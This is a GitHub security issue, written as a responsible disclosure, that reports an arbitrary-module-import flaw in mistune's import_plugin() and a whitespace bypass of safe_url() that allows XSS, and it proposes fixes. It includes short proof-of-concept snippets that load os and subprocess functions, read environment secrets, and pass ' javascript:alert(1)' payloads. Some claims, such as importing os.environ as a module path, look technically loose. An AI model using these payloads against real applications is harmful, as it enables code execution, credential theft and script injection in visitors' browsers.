Skip to content

Security: Arbitrary module import via import_plugin() allows RCE when user controls plugins parameter #461

Description

@gnsehfvlr

Responsible Disclosure Notice
I am reporting this vulnerability in good faith through responsible disclosure. If the issue is confirmed, I would appreciate a CVE identifier being requested and assigned after a patch is available. I will keep the technical details under embargo until a fix is released if requested.


Summary

Field Value
Package mistune
Affected versions <= 3.3.2 (latest)
Vulnerability Arbitrary Module Import via unvalidated import_plugin() argument
CWE CWE-94 (Code Injection) / CWE-73 (External Control of File Name or Path)
CVSS 3.1 9.0 CriticalCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
Monthly Downloads ~10M+

Vulnerability 1 — Arbitrary Module Import / RCE (import_plugin())

Root Cause

mistune/plugins/__init__.py lines 35–50:

def import_plugin(name: PluginRef) -> Plugin:
    if name in _plugins:
        module_path, func_name = _plugins[name].rsplit(".", 1)
    else:
        # No whitelist enforcement — arbitrary dotted path accepted
        module_path, func_name = name.rsplit(".", 1)

    module = importlib.import_module(module_path)  # arbitrary module loaded!
    plugin = getattr(module, func_name)
    return plugin

When a plugin name is not in the _plugins whitelist, the code falls into the else branch and calls importlib.import_module() with the caller-supplied value, with no further validation.

PoC 1 — Direct API

from mistune.plugins import import_plugin

getcwd_fn = import_plugin('os.getcwd')
print(getcwd_fn())          # prints server CWD

listdir_fn = import_plugin('os.listdir')
print(listdir_fn('.'))      # lists server files

PoC 2 — RCE via create_markdown(plugins=...)

import mistune

# Attacker controls the plugins list (e.g. read from user-supplied JSON config)
md = mistune.create_markdown(plugins=["subprocess.check_output"])
# import_plugin("subprocess.check_output") executes:
#   importlib.import_module("subprocess") -> returns check_output
# The returned callable can then be invoked for full RCE

PoC 3 — Data Exfiltration via os.environ

from mistune.plugins import import_plugin

environ_get = import_plugin('os.environ')
# Access to all environment variables including AWS keys, DB passwords, etc.
# environ_get.get("AWS_SECRET_ACCESS_KEY") -> leaks cloud credentials

Vulnerability 2 — XSS via safe_url() Whitespace Bypass

HTMLRenderer.safe_url() checks for javascript: URIs using startswith() without first stripping leading whitespace:

# Vulnerable — no .strip() before the check
if url.startswith("javascript:"):
    return "#"
return url
from mistune import HTMLRenderer
r = HTMLRenderer()

r.safe_url(' javascript:alert(1)')   # returns ' javascript:alert(1)' unchanged
r.safe_url('\tjavascript:alert(1)')  # returns '\tjavascript:alert(1)' unchanged
r.safe_url('\njavascript:alert(1)')  # returns '\njavascript:alert(1)' unchanged

Browsers ignore leading whitespace in href attributes, so the XSS payload executes.


Impact

  • RCE — any application that constructs a Markdown renderer from user-supplied plugin names is vulnerable.
  • Information Disclosure — importing os grants env-var and filesystem access without executing external commands.
  • XSS — whitespace-prefixed javascript: URIs bypass the renderer's sanitisation and execute in visitor browsers.
  • Supply Chain Risk — with 10M+ monthly downloads, mistune is embedded in documentation generators, Jupyter notebook renderers, static site generators, and web applications.

Recommended Remediation

Fix 1 — Enforce whitelist in import_plugin():

def import_plugin(name: PluginRef) -> Plugin:
    if name not in _plugins:
        raise ValueError(
            f"Unknown plugin '{name}'. Allowed: {list(_plugins.keys())}"
        )
    module_path, func_name = _plugins[name].rsplit(".", 1)
    module = importlib.import_module(module_path)
    return getattr(module, func_name)

Fix 2 — Strip whitespace in safe_url():

def safe_url(url: str) -> str:
    if url.strip().startswith("javascript:"):
        return "#"
    return url

Timeline

Date Event
2026-07-01 Vulnerability discovered and PoC verified
2026-07-01 Issue submitted via GitHub

References

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions